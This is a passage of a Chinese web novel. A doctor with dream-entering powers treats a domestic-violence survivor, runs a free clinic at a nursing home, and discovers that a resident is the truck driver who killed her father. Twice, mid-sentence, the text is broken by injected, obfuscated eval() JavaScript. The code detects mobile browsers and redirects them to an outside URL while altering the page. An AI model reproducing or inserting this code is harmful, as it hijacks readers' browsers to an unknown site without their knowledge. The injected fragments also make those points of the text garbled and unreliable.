传岚说:“是创伤后应激障碍,这是长久以来被家暴留下的精神创伤,即便家暴已经结束,但情感上的伤痕并不会随着物理伤害的终结而消失,可能会持续伴随患者,而且患者的情绪积压太久,在预期之外骤然脱离家暴,心理上反而一下子难以切换过来,有些不习惯是很正常的,这种不习惯反应在日常生活里会不自觉的心慌不安甚至焦虑,会不自主的陷入到情绪漩涡里反复做噩梦,这些也都是心理不踏实的表现。” 李山重云里雾里听了一大堆,也算听明白了,也就是会所这些病都是范跃那个畜生引起的,他焦急问到:“我知道了,都是范跃那畜生引起的,那我们要怎么治呢,你是医生,既然知道这是什么障碍,那也应该知道怎么治吧。” 传岚挑眉看了眼李山重,笑着说:“这种心理创伤,也不是一天两天就能好的,着急不来,先开一些安神的药吃,调理调理,起码不会再做噩梦了,剩下的,还是要靠他自己,当然了,亲人朋友的鼓励包容也很重要,平时多鼓励肯定他,给他营造一个良好的生活氛围,慢慢就好了。” 解释完,传岚让赵鹏飞带黄守英过去了解下用药的注意事项,自己则示意李山重过来旁边说话。 传岚说:“我听说你有心求娶黄守英,首先说下,我对你们的私生活不感兴趣,只是需要叮嘱下你,刚才的话你也听见了,应该也听明白了,以黄守英现在的情况,他短时间内不适合再次步入婚姻,如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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传岚望着黄守英离开的背影,脸上的笑还没落下来,眼里却早已失了笑意,缓步行至藤椅跟前,传岚坐下盯着头顶的天花板,陷入沉思。 传岚不会出手诊治范跃,当然,范跃压根儿也不会来这里。 这世上多的是忘恩负义,坏心烂肝的人,可偏是这样的人却比受害者活的逍遥自在,正因为他们没有良心,没有畏惧所以才去做恶事。做了恶事心里没有负担,又哪里会做噩梦,反而是无辜善良的受害者走不出来阴影,被困于此,止步不前。 赵鹏飞过来问传岚带过来的东西怎么处理:“我下班了给你送过去行吗?” 传岚坐起来,趴在椅背上说:“不送了,大家分一分自己带去吃吧,都有些什么?” 赵鹏飞看着角落里两麻袋的东西,打开边拨拉边说:“一些菜,还有一些水果,水果有青枣草莓圣女果,喔哦,还有西瓜,种类还挺丰富,他家种多少温棚啊,” 传岚听见有水果,说:“你挑些水果放二楼冰箱,这样大家上班的时候就能拿来吃了,其他的你们自己分一分,对了 ,记得给舒华也留一份。” 赵鹏飞指着旁边从麻袋里掏出来的一大袋,说:“不用我们分,人家都分好了,这份贴着舒华的名,剩下没贴名的估计就是你的了。” 传岚看了一眼,两麻袋东西,贴了名看起来有些少的那份,跟没贴名剩下大的那份,看来已经考虑过传岚会分出来的情况了,还蛮细心的。 传岚想起下周二要去养老院开展义诊的事,进去房间将之前早早就列好的东西交给赵鹏飞,“赵师兄,麻烦你帮我准备下这上面的东西,下周二我跟纪老师出去义诊的时候要带,你没事的话也跟着一起去吧。” 赵鹏飞看了下,单子上全是些温补的药材,他说:“好的,就我一个人吗,其他人呢?” 传岚说:“仁济堂也不能没人,纪老师说你细心稳重,去你一个就可以了,你要是有事就提前说,可以换别人去,不要紧的。” 赵鹏飞连忙点头:“我没事,那我去准备东西了,谢谢你啊传岚。” 传岚晚上回到家,见传人还没回来,也就熄了想要叫他参与这次驱梦的心:“看来是天意,既然是天意,就要遵从啊传人。” 在门外挂了“作业中,勿扰”的牌,传岚点燃了角香,躺好进了梦乡。 传岚推门进去,映入眼帘的就是阴沉沉的天和毫无颜色的世界,像是闯入了色盲人的世界,没有一点颜色。 没有颜色,也没有风,空气是凝固着的,让人感觉不到呼吸的存在,走进来不过几十秒时间,心底就无端涌出来一股难以严明的悲伤,萦绕在心头,传岚意识到这个梦眼设定的梦境能影响到自己的心绪,即刻心神凝一展开了域,远处看去,整个梦境里除了以传岚为中心两米内的圆圈里恢复了颜色外,其他地方仍然是无生命力的灰。 传岚循着黄守英的哭声找过去,只见他蜷缩在角落里,醉酒的范跃正对他拳脚相加,尽管知道这是虚构的梦境,但传岚仍是怒不可遏地呵斥到,“住手。” 传岚过去将正在施暴的范跃一脚踢远,朝着黄守英身上上下扫了一遍,并没发现梦眼的踪迹,扶起黄守英,恨铁不成钢地说:“黄守英,起来,你不是说你要去健身练拳击吗,怎么不打回去?” 被保护起来的黄守英见是传岚,哭着说:“我还没学会,不敢还手。” 传岚看向站起来的范跃,上下扫视,也没发现梦眼的存在,那边范跃大声喊骂着冲过来又想动手,被传岚几招就打趴在地,传岚幻出绳子将范跃绑起来,见范跃被绑起来还不老实,嘴里不停地的在咒骂两人,传岚干脆又拿出破抹布塞进范跃嘴里,图个清净。 绑完范跃的传岚走到黄守英身边,停住了脚,偏着头停顿了会,又返回去范跃身边,传岚的域随着传岚的走动而恢复着周遭的生命力和颜色,脚下的范跃也有了色彩。 “咦?”传岚疑惑地绕着范跃走了一圈,随后将域的范围收缩到只能容纳两人为止,然后又前进后退了几次,几次之后,他发现通过对比范跃的颜色有无,可以确定范跃小腿部分的灰色球状阴影应该就是黄守英的梦眼。 有怀疑,就要去验证,传岚心想“不管是不是,先打个标记再说。”便朝着范跃的小腿打过去一记朱砂,只见朱砂那端延伸出了红线,朝着传岚手腕连接而来:“果然如此,黄守英你牛啊,我还是第一次见灰色的梦眼,要不是我直觉强烈,事先展开了域,你这灰扑扑的梦境里能找得到这灰色梦眼才怪。” 既找到了梦眼,传岚也不浪费时间,幻出锁锁塔想尽快收了它,只是这时,黄守英扑了过来,对着捆起来的范跃又捶又打,鼻涕眼泪混在一起,好不伤心。 传岚翻转手臂看了眼走香,角香燃了三分之一,距离香尽还有四十分钟,时间充裕,就随黄守英发泄自己的情绪去了。 虽是任黄守英捶打范跃发泄自己的情绪,可传岚也不敢放松警惕走远,毕竟已经见识过舒华的梦眼在外来刺激的情况下歪打正着觉醒意识的场面,为了避免没必要的时间损耗,传岚自然不希望有意外发生。 黄守英打累,跪坐在范跃身边,哭睡过去。 整个梦境从构建的边界处开始恢复颜色,五彩缤纷的颜色一直从四面八方汇聚而来,最后全部侵染在黄守英和范跃两人身上,俩人随着颜色的变化回到了年轻时的模样。 传岚看着黄守英深深叹了口气,再次幻出锁锁塔,将梦眼收了进去,结束了甲方的痛苦。 14. 行善得善,行恶得恶2 转眼就到了义诊的日子,传岚跟姑姑纪明礼还有赵鹏飞三人在齐院长及工作人员的热情欢迎中展开了为期一天的义诊。 看的出来大家对中医抱有很高的兴趣,排队把脉的人除了院里的老人还有很多好奇的工作人员,大家都凑过来想要把个脉,仿佛光从把脉就能知道人身体哪里有病很是神奇。 纪明礼负责把脉看症状,传岚在旁边做量血压等基础检查,赵鹏飞则是负责记录每个老人的症状和一些需要特别关照的老人的注意事项。 养老院里每年都会定期组织体检,所以这里的老人基本上没有什么大问题,纪明礼摸了十几个人的脉,基本上都是些惯常的基础性慢性老年病。 明礼摸着脉说:“你是不是有点尿频尿急啊?” 对面的老头好面子,推辞着说:“还好吧,水喝得多,就比常人多跑两趟。” 旁边站着的工作人员华姐一点情面没留,笑着说实话:“他有,以前跟他同屋的老李就是因为他频繁起夜,吵的人家休息不好才申请换的房间。”抢答完医生的问题,华姐又扭头对坐着的老人说,“老张啊,这看病,人医生问话可不能谎报啊,谎报要出大事的。” 后边的几位老人也纷纷拆台,七嘴八舌,有的附和着说老张尿频的事,有的附和着说不能谎报病情的事。 明礼笑着开口:“老大哥,不用不好意思,这上了年纪,好些人都这样,也不是你一个,这咱到了一定年纪就会这样,这主要是肾气亏虚引起的,那这个肾气亏虚呢它会导致水液代谢功能的障碍,造成我们膀胱不约,封藏失司,固涩能力下降,通俗讲就是控制不住大小便,我们这边给你开点补肾益气的药先吃着,日常饮食注意不要吃些油腻辛辣生冷刺激的东西。” “传岚,你先过来下。” 正忙着测血压的传岚听到齐院长找他,便暂停了手里的事过去。 “有个人想见下你,听说你今天过来,特地请了假过来的。” “谁呀。” “李大奎他儿子李焕杰,上次跟他谈的时候顺嘴提到了你,他听了一定要我约你出来当面感谢你。”齐院长说道。 传岚虽然很好奇李家父子,但嘴上还是得客气点,说,“我也是碰巧看到他顺嘴提了句,实在没必要搞这么大阵仗,还专门请假过来,院长也不帮我推着点。” 齐院长说:“嗐,这也是人家做子女的一片心,你也体谅点,再说了,人家这次要谢的是你,我哪好意思推啊。” 说着,两人就到了院长办公室,只见沙发上坐着一位西装革履的年轻小伙,相貌朗然,体态有型,见有人来,立马就站了起来,看着传岚,一口洁白整齐的牙齿随着说话的律动开合有致,小伙伸出手笑着自我介绍到:“您就是院长口中的纪传岚小姐吧,您好,我叫李焕杰,是李大奎的儿子,多亏您的提醒,才避免了我父亲的悲剧,真的很感谢您。” 传岚从打量对方外表的审视中反应过来,礼节性的握了下手:“您好,我是纪传岚,看年纪,我们应该差不太大,不介意的话,就不要称‘您’了吧,听着别扭。” 站旁边的齐颂雪院长见两人已经互相介绍完了,没自己什么事了,就说:“你们慢慢谈,我先去前面看看义诊的情况,你们谁有任何问题,都可以打我的电话。” 李焕杰将旁边的礼盒放到桌上,推过来:“这是给传岚小姐的一份谢礼,还请传岚小姐不要推辞能收下。” 传岚对这些不感兴趣,这不是他今天来这的目的,他看都没看推了回去:“你不用这么客气,我来这里做义工也不是为了钱,同理,我看见你爸有潜在问题提出来也不是图你的这份谢礼,你拿回去吧。” 李焕杰却没有接传岚的话,而是说:“听院长说了我父亲的事,我一直想找个机会当面感谢传岚小姐,但一直决定不下要送什么样的谢礼,这困扰了我很久。” 传岚开玩笑说:“怎么,你没女领导吗?” 李焕杰挠了挠头,笑着说:“虽然由我自己说出来有些不好意思,但目前为止,还没有碰到过需要我送礼的女领导。” 传岚喝了口茶说:“那你们公司结构不好啊,容易一叶遮目。” 李焕杰笑着再次将礼盒推了过来:“哈哈,这是上面领导要考虑的问题,我们底下做事的不操心这些,你不打开看下吗传岚小姐,这是我跟我老婆精心挑的,希望你能喜欢。” 传岚一伸手,李焕杰就主动将东西拿了出来,放在传岚跟前。 传岚扫了一眼,只见礼盒里躺着的是只较新款的LV包。 李焕杰继续说:“传岚小姐还喜欢吗,要是款式颜色什么的不喜欢,我这边也可以换新的过来。” 看得出是买回去自己新包的包装,传岚用手随便拨拉了几下,客气地说:“哇哦,LV,要两万多吧,出手真阔绰。” 李焕杰笑着说:“跟传岚小姐救了我父亲来比,这点谢礼都不够看。” 传岚将盒子合起来推到李焕杰面前:“要是普通人,两万多的包,算很不错的礼物了,但说实话,我对这个不感兴趣,你既然这么有诚意,又很想感谢我,我能问几个问题吗,就当你送我的谢礼了。” 李焕杰看了看桌上合起来那两万多的包,迟疑了会,说:“传岚小姐想问什么,我知道的能说的自然可以回答。” 传岚说:“别担心,不会问你不该说的,你应该听齐院长说了吧,我是名医生,那我是把李大奎当做我的患者来看待的,我作为他的医生比较好奇他为什么想不开要寻死,要知道,院里的人都说你孝顺,那你既然这么孝顺,而他就你一个亲人,他为什么还想不开要去寻死。” 李焕杰没想到纪传岚居然问的是这个问题,他愧疚地低下头,又像陷入沉思一样半响没说话,良久,他似回过神一样歪着头看着传岚疑惑地说:“你是怀疑我对我父亲不是真的孝顺?你觉得我是装的?” 传岚无奈说:“我没这么说,我只是想跟你探讨下你父亲寻死的原因,你也知道,这次是齐院长发现的早,可是下次呢,老话说‘心病还要心药医’要是找不到病因,难保你父亲不会再找机会寻死啊。” 李焕杰又沉默了会,说:“我不知道,我不知道他为什么想不开,这养老院也不是我要送他来的,我虽然没什么大的本事,但是养活他跟自己还是不成问题。”李焕杰说着,露出一股颓靡的气息,“可是我结婚后他执意要来养老院,怎么劝都不听。” 传岚问:“是你老婆不愿意跟他一起住吗?” 李焕杰摇头:“不是的,我老婆没有说过不愿意,我岳家人都很好,他们不嫌弃我是单亲,也不嫌弃我家穷,说看中的只是我这个人,愿意将千娇万宠的女儿嫁给我,又给我安排工作,在工作上扶持我,就连我父亲,他们也愿意接纳,说是如果我老婆不愿意跟我父亲一起住,他们有空着的房子可以给我父亲住。” 传岚在一大段话里听出了一丝异样,他说:“照你这么说,你跟你岳家确实也没什么问题,但我刚听你讲,你父亲好像是有什么陋习,我没理解错吧。” 李焕杰犹豫了会说:“我父亲没有什么陋习,他只是坐过几年牢。” 传岚在听到李大奎坐牢这部分时心跳突然加速,全身的气血上涌,好像要都冲到脑袋上一样,他端起杯子喝了口水,继续说:“哦,是因为什么原因坐的牢呢,方便说下吗,这很有可能就是他的心病症结。” 李焕杰望向窗外,悠悠得说:“那是我刚考上大学时的事了,我家本来就穷,家里的存款都给了我做学费跟生活费,原本只是这样的话也没什么,我寒暑假也可以跟我爸一起出去打工,只是才一个学期,我就被检查出了胃病,医生说手术治疗保守要二十几万,可是我们家没钱。 “我爸为了给我看病到处找活干,不分白天黑夜的干,但这些活来钱慢,我爸心里着急,后来听人说急招开大车的,说是赶工价格开的高,他就去了,结果疲劳驾驶撞死了人,就蹲了几年牢,我命大,开大车的公司帮着我爸处理了肇事后续,还给了我三十万救命钱,说是出于人道主义补偿。” 听完李焕杰的话,传岚怔住了,即使现在自己心里已经十分明确这个李大奎就是当年撞死爸爸的司机了,但他还是木着问了句:“李大奎是哪一年撞的人?” 李焕杰想了想说:“八年前吧,那是我大一发生的事,我毕业工作都四年多了,算起来也八年多了。” 传岚闭上眼,深深吁了口气,真是‘踏破铁鞋无觅处,得来全不费工夫’啊,这么重要的线索人物,怎么找都没找到,谁能想到他竟然就在自己眼皮子底下,还差点让他自裁了。 李焕杰见传岚如此模样,不甚理解,疑惑着开口:“传岚小姐,你还好吧。” 传岚睁开眼,带了几分肃杀望过来:“我没事。” 李焕杰虽不知发生了什么,但他明显感觉到传岚的气场发生了变化,他小心地问:“我爸的心结是这场车祸吗?” 传岚盯着他缓慢开了口,似笑非笑地说:“是,你爸的心结就是这场车祸,因为他杀了人,心里过不去这道坎,这件事始终折磨着他仅剩的一点良心,让他不敢享用太好的生活,所以他死也不要跟你一起过,要来养老院里生活惩罚自己。” 李焕杰跳了起来,神情有些激动:“传岚小姐,请你不要乱讲,这起交通肇事是意外,我爸没有杀人,他疲劳驾驶不是故意的,这都是为了我,而且他已经坐过牢了,为他的过失付出代价了。” 传岚端起杯子抿了一口:“他坐牢不是为死去的人坐的牢,是替背后的人坐的牢,我想你那三十万也不是出于什么人道主义,应该是封口费才对。” 继神情激动后,李焕杰算是俊美的脸上呈现出了惊恐的表情,仿佛眼前的人是什么洪水猛兽一般,他再次开了口: “传岚小姐,你不要以为救了我父亲就可以胡说八道,你是不是小说看多了,这简直不像是一名医生能说出来的话。” 传岚继续不紧不慢的说:“你觉得我是推理小说看多了才这样说的吗?”传岚笑了起来,随后继续说:“你先坐下来,别老站着,不累吗?”传岚说完就给齐院长打过去电话,叫他把李大奎带过来。 “你叫我爸过来干什么,你到底有什么企图?” “我没有什么企图,我只是想知道这场车祸的真相而已。” 李焕杰脑海里闪过无数疑问,嘴里就这样不设防地问了出来:“你是谁,为什么要知道关于车祸的事,你说的真相又是什么?” 传岚笑着说:“我是你爸撞死的人的女儿呀,这算有资格知道了解这件事了吗,对了,没跟你说,我跟你是一届的,也就是说,嗯,你爸撞死我爸那年,我也刚上大学没多久。” 李焕杰脑子里搅成了一团乱麻,他呆呆的看着眼前的女生,像是见过一般,但又什么都想不起来,他想,他今天过来不是来感谢女生救了自己父亲吗,怎么又突然扯到什么车祸什么真相上去了。 齐院长带李大奎过来推开门进来,就看到走之前精神焕发的李焕杰此时像是被夺了精气没有了心神一般,正纳闷,传岚主动解释到:“我们刚分析了下李大奎的心理问题,李焕杰对自己父亲的事比较担忧,所以我意思叫李大奎过来,我们仨好好聊聊,主要是他俩好好聊聊,我在中间来调和引导分析分析。” 齐院长哦了一声:“那你们聊,我去前面忙了,有事喊我啊。” 打发走齐院长,传岚让李大奎挨着李焕杰坐好,接下来,要攻破的人是李大奎。 对于沉默寡言的李大奎,传岚选择直接出击:“李大奎,你八年前开车撞死人是谁指使得你,是谁让你开车去撞人的?” 无论什么时候都波澜不惊一副神游其外的李大奎在听见传岚的问话时眼睛一下睁大,瞳孔收缩,好像才找到焦距一般,声音也变得中气十足:“你是谁,问这个干什么?” 传岚说:“我是你撞死的人的女儿,我问你,是谁指使你去撞人的?” 李大奎愣了会,像是找到了目标一般,精神肉眼可见的好了起来,语气也柔和了下来:“是你,终于,终于有人来问我了,终于有人来问我这个问题了。” 旁边的李焕杰顾不上吃惊,他担心地说:“爸,你还好吧。” 李大奎没有理会李焕杰的问话,直勾勾地盯着传岚继续对着他说道:“你怎么不早点来找我,我憋了好些年,这事折磨得我吃不好睡不稳,我日夜都想有人能来找我问我这些问题,我想,要是有人来问,不管是谁,我知道的,我都愿意全部说出来。” 传岚无语:“你既然想说,为什么当时车祸认定的时候不说,在牢里的时候不说,现在又想搞什么名堂。” 李大奎嗫嚅着,底气有些不足:“我当时不能说,因为我拿了人家的钱,说了我儿子拿不到救命钱。” 传岚心里翻了个白眼,冷冷的说:“现在能说了,说吧,谁找的你,又是谁给你掏的钱。” 李大奎想了想说:“我记得找我的人四十出头,身高差不多有个一米七,一米七左右吧,跟我差不多高,大眼睛,双眼皮,颧骨比较高,圆脸盘,其他记不太清了,总体来说没有什么特别明显的特征,就跟街上的普通人一样,但我记得他跟我一样有点黑,太阳晒的,像我们这种出苦力的,天天晒日头,就没个白的。 “对了,我当时去开车的时候听见有人喊他杨贵,不晓得是不是喊他。” 传岚听得简直想骂人,他问:“没了?” 李大奎说:“没了。” 传岚气极反笑:“这就是你八年来日夜想有人来问的回答吗?” 旁边的李焕杰听了两人的对话,再听传岚的问话,不禁为自己老父亲的回话感到有些尴尬脸红。 李大奎挠挠头:“我确实接触的就是这个人,也是他找的我,后面再有谁我就不知道了,都是他俩联系的。” 传岚简直两眼一抹黑,不该抱太高期望的:“名字,除了杨贵这个名字,告诉我你开大车的单位名字是什么。” 李大奎挠挠头,说:“不知道。” 传岚定住了,这不是卡顿,是被气到失语无话可说了。 李焕杰已经听明白了前因后果,这会尬到坐不下去了,转瞬之间他猛的想起来,赶忙说:“我知道,当时公司来人,开的是支票,支票上有公司名称,我有保存的,你等我找找啊。” 在传岚热烈的注视下,李焕杰有点冒汗地不断划着手机屏,终于不负所望从手机云盘里翻出了那张发票照片:“叫泰安长红水泥厂。” 传岚打开手机:“你加下我,把这个发我,后面有事会联系你。” 说完又问李大奎:“描述不清的话,我找到杨贵这个人,你能认出来吗?” 李大奎说:“人我能认出来。” 传岚松口气:“能认出来就好。”而后又稳了稳心绪,盯着李大奎平和地说,“李大奎,你既然一直等着有人来问你这件事,还一直在用自己的方式来惩罚自己,可见你不是那种以为坐几年牢就可以抵消掉一条人命而心安理得自己快活彻底丧失良心的人,我要翻案,你能站出来为了你的良心作证吗?” 李大奎说:“我愿意,我不会为我做的错事找借口,我儿子现在身体健□□活美满,他岳父一家把他当自己的亲儿子,我已经没有任何牵挂和担心的事了,我愿意为了我的良心去作证。” 早先李大奎不愿多见李焕杰,是因为自己心里过不去,看见李焕杰就会想起来自己为了儿子去把别人爸爸撞死的事,现在埋在心里的事说出来,自己也能面对儿子了,李大奎眼含爱意地看着儿子,像顺猫一样顺了顺李焕杰的脑袋,后背跟胳膊,很是欣慰他的成长。 李焕杰红了眼,哽咽着说:“爸,不管是怎么撞得人,你已经坐过牢了,也承担了你该承受的处罚,传岚小姐,虽然很对不起你,可是令尊已经没了,逝者为安,求你别把我爸再送进去好吗,他都快六十的人了,再进去几年可怎么受得了啊。”说着,李焕杰就跪了下去。 李大奎扯着拉起来:“焕杰,不要这样说,爸爸知道你心疼我,可是将心比心,小姑娘也心疼自己的爸爸,而且我也不认为自己坐几年牢就能跟他爸爸的一条命划等号,我能有机会去作证还人家一个公道,这是老天爷可怜我给我的机会,我要是不去,活着跟死了有什么区别。” 传岚双手交叉抱着拳,观赏着眼前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530093|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李家的父子情,脸上保持着僵硬的微笑,眼里的冷意一览无余,是真正的皮笑肉不笑。 李大奎继续说,“焕杰你不知道,除了在牢里的时候,我几乎每天都做噩梦,一闭眼就是车祸当天的事,这几年来没睡过一晚整觉。这是报应,是老天爷给我的惩罚,是警示我要说出真相啊。” 李焕杰哭着摇头:“不行啊爸,真的不行,你这么大年纪了,身体消瘦的厉害,前段时间还因为绝食伤了身体,不能再去牢里了,这世上,我就只剩下你一个亲人了,你要是有个什么好歹,你叫我怎么活啊。” 李大奎也红了眼:“儿啊,我去牢里赎了罪,咋爷俩才能清清白白地过这剩下的日子啊,你不用念着我,我知道你岳父一家拿你当亲儿子,对你的好我都看在眼里,往后你们一家亲亲和和的比什么都好。” 李焕杰一点也听不进去:“我知道岳父一家对我好,可是岳父是岳父,爸爸是爸爸,不一样啊,真的不一样。” 可能是自己爸爸没的早,传岚体会不到眼前的温情,听得烦躁,恰巧姑姑的电话打了过来,他干脆出去接电话,留他们好好互诉衷情。 “传岚,你在哪呢,怎么出去这么久还没回来啊,没什么事吧。” “没事姑姑,是这边有位老人跟家里子女闹矛盾,齐院长知道我学过心理学,喊我过去开导开导。” “没事就好,我看你好久了也不回来,也没个消息什么的,有些担心,你那边什么时候搞完啊,我这边快搞完了,你早点过来我们待会收拾收拾一起回去了。” “好嘞姑姑,我这边也马上了。” 传岚在外面翻够了白眼,深呼了口气,推门进去,里面俩人安静的待着,像是在等待审判一样,一个坦然赴死,一个情绪难安。 传岚并未坐下,站在门口直接说:“李大奎,我给你时间考虑,考虑好了就来仁济堂找我,做噩梦的事也来找我。” 说完,传岚就准备关门走了,临了又被李焕杰叫住,“传岚小姐,你的包。” 传岚此刻都没有假装表面客气的想法了,他直接讥讽地说,“李焕杰,你都没时间关心下你爸撞死的人是谁吗,你觉得我需要你那两万多块的包吗,你老婆的包还是留给你老婆背吧,还有你李大奎,在我没找到幕后之人前,今天说的话我不想有第三个人知道,听明白了吗?” 李大奎说:“明白了,除了你,我谁也不会说的。” 李焕杰怔怔地看着传岚关门走了,手里的包僵在空中,半响才收回到盒子里。 齐院长送几人出来的时候说:“真的不留下吃个晚饭吗,我们特意烧的,不比外面的难吃,要不还是吃了饭再走吧。” 明礼说:“多谢院长的好意,已经吃过中饭了,就不吃晚饭了,回去早点还有时间收拾下,明早上班去呢,下次有时间,我们再组织过来,像这样有意义的事,是要多参加的。” 齐院长说:“那真是太好了,能让纪教授亲自过来真是我们院三生有幸蓬荜生辉,要是有什么招待不周还请教授多多见谅,下次来我们一定做到尽善尽美。” 明礼说:“院长客气了,大家都很好,没有什么招待不周的,我也很开心参与这种有意义的事,你们回去吧,别送了,回去歇着吧。” 传岚将姑姑扶上车,拉好车门,走到院长跟前,“齐院长,我这里还有件事要拜托你。” 齐院长说:“什么事,尽管说。” 传岚说:“也不是什么大事,就是希望你能多劝劝李焕杰,让他有时间能带李大奎早点过来仁济堂找我看病,这李大奎一直做噩梦,休息不好,时间久了很伤身体。” 齐院长说:“到底是医者仁心,行呢,这都是小事,李大奎身体精神好了,对我们也好,你放心,我会去说的。 传岚就此与院长他们告了别,结束了这一天的义诊活动。 齐院长送走传岚他们,转身就看见了有些失魂落魄的李焕杰,悄无声息的站在后边,倒唬的齐院长一大跳,齐院长看 李焕杰提着来时拿着的礼盒,问到:“李先生怎么出来了,是要回去了吗。” 李焕杰站在原地点了点头,没动。 齐院长见状又问:“李先生的谢礼没送出去啊,传岚没要吗?” 李焕杰又点了点头,问:“齐院长知道传岚小姐是六艾纪家的小姐吗?” 齐院长说:“知道啊。” 李焕杰神情落寞,望着快要暗下来的天,嘴里念叨着:“六艾纪家,怎么没人跟我说过这个。” 齐院长问:“李先生您说什么,我没听清。” 李焕杰回过神,将手里的礼盒递给了齐院长:“没什么,这个包就请院长收下吧,虽然不是原包装,但是是真的,里面的发票也在,要是不喜欢就送人吧,卖了也行,随你怎么处置。” 说完,李焕杰就走了,也没理后面齐院长的喊话推辞。 齐院长看着手里的包,心里疑惑,又看着开车走远的李焕杰,想着刚才答应传岚的事,嘴里念叨到:“这算什么事啊,人家不要就塞给我,我这话还没说完呢,就跑这么快。”转身回去,拎着包看了看,“算了,下次再说吧。” 齐院长想起自己侄女齐善禄在院里做会计工作,刚好他快过生日了,就当是提前给他的生日礼物吧。 齐善禄拿到包很高兴:“谢谢姑姑,我想买个包很久了,一直不舍得买,这款包我在商店里看过,要两万六呢,姑姑你真是对我太好了,我一定好好工作报答你。” 齐颂雪点了点齐善禄的头:“行了,我也不要你报答,好好工作是应该的,难道不给你买包你就不用好好工作了吗。” 齐善禄吐了吐舌头:“说错了,我一直都有好好工作的,我的意思是更努力的工作。” 齐善禄把包珍之又珍的抱在怀里,拿出来端详了一遍又一遍,突然看到包的底部与侧边交合处有一道细小的划痕,不仔细看看不出来的那种,齐善禄用手摸了摸,发现不是脏东西,着急的说:“姑姑,你看这儿是不是有道划痕啊。” 齐颂雪仔细瞧了下:“好像是嗳,这什么时候划得,是刚才往出拿的时候不小心划得吗。” 齐善禄有些心疼:“肯定不是新划得,我刚往出拿的时候可小心了,对了,是不是在店里就划了,店员拿瑕疵品给你啊姑姑。” 齐颂雪打哈哈说:“不知道,有可能吧,我也没太注意。” 齐善禄说:“这些店员太坏了,自己工作上的失职,怎么能偷偷转嫁在顾客身上呢,真是差劲,姑姑,你跟我说你在哪买的,你把发票给我,我去找他们理论,换个新的。” 齐颂雪有些心虚,兜里的发票攥成了一团,这发票的日期显示的是两年前,话赶话都说到这了,也不好意思再说送他的礼物是借花献佛的了。 齐颂雪说:“这礼物是我上次出差的时候买的,想给你个惊喜买得早,发票不知道被我弄哪去了,算了,一点点小划痕,不仔细看也看不出来,不影响的。” 齐善禄委屈巴巴地说:“可是这是人家第一次收到这么贵的礼物,还没背过呢,就被划了,心里好不得劲啊,姑姑你不能再好好找找吗,万一找到了呢。” 齐颂雪心里有些愧疚,讪讪的说:“以后姑姑再给你送其他新的嘛,这买的早了,又是在外面买的,就算找到发票了,人家也不一定认啊,买的时候都是当面检查过的,也怪姑姑自己粗心,没亲自检查下。 “高兴点啦,不要因为一点点微不足道的小划痕就忽略掉眼前这个真真切切的包本身啦,这不是你喜欢的吗,要是收到礼物不高兴,那姑姑岂不是送错了。” 齐善禄笑着说:“姑姑你说的对,是我小气了,光想着是姑姑特意给我买的,有划痕了心疼,但其实这点小划痕只占这个包的千分之一,剩下千分之九百九十九都很完美,我只要在意这九百九十九就好了。” 齐颂雪松口气,想到差点因为这只包惹出段祸事,心里不禁有些埋怨李焕杰,想着:“这年轻人真不厚道,送人谢礼哪能送两年前买的,感情是腾库存呢,一点诚意没有,别说传岚,我都看不上,也不怕人家笑话,这么有钱还抠门,这俩口子也是难说,真是看走了眼。” 15. 难逃家庭聚餐的端午节 自从知道新的线索后,传岚也是第一时间就告诉了二叔纪明义,并拜托他帮忙去查一下泰安长红水泥厂和杨贵,自己则静静守在仁济堂等候李大奎的到来。 说起传人,因为临近高考,家中一切事物一行人都不许打扰到他,所以各项活动里也没见到他的人影,就连作为语文老师的舒华,也因为临近高考,很少过来仁济堂了。 距离高考没剩几天,大家都静悄悄的,有什么联系都是私下里从传岚和明礼那边打听,并不直接去问传人。 本着再紧绷的弦也要适当松一松的老理儿,于是高考前的端午节,大家都收到了去老宅过节的通知,传人也不例外。 传岚一行人到老宅的时候,里面早已布置好了一切,沿途小道两侧的灌木花卉上都挂了艾草包,各个外门上也插着艾草条和杨柳条,里间则较为用心的挂着编织好的艾草篮等小东西。 宋管家出来笑着说:“明礼小姐你们到了啊,大先生说这次的聚餐设在二厅,我们先去茶房稍作休息,待会等人齐了再一起过去。”说罢便走在前边引路。 “姑姑啊,上次聚餐听大伯母说大伯在碧玺山庄买了新的宅邸,怎么不见搬过去。” “那是你大伯母想买的,你大伯在这住惯了,不想搬过去,而且他们商量着打算要重新装修下,几个人关于装修方案意见不同,还没定下来呢,再说了,碧玺那虽然地方大,但环境没这的好,浅水湾的自然环境可是整个市里少有的好,当年要不是这块地方的原主人有事急出手,你爷爷都买不到,我们家这块地方现在按市价少说也有这个数了。” 传岚看着姑姑伸出的手势,挑了挑眉:“那爷爷眼光还挺好的。” 明礼笑着说:“哈哈,也算,不过这块地方最后是你奶奶拍板要买的,他喜欢安静自然的环境,你爷爷看上的其实是市中心福满窝的湖景别墅,那的房子差不多也翻了一番,不过综合讲,没有我们这边抢手啦。” 三人进去茶房,见纪明仁与纪明义在下棋,方慧和董文秋两妯娌在拉家常,见明礼他们进来,都笑着叫来一起饮茶,明礼过去两位嫂嫂那里坐下,加入话题。 传岚见同辈里只有大哥纪月庭在场,其他人都不在,便过去打招呼:“嫂子人呢,怎么不见嫂子和圆圆。” 纪月庭笑着说:“你嫂子带着孩子去他家了,孩子外公外婆念叨的紧,端午就去那边过了。” 传岚和传人坐下,传岚说:“这样啊,月庭哥不用过去没关系吗,过年也在这边过的。” 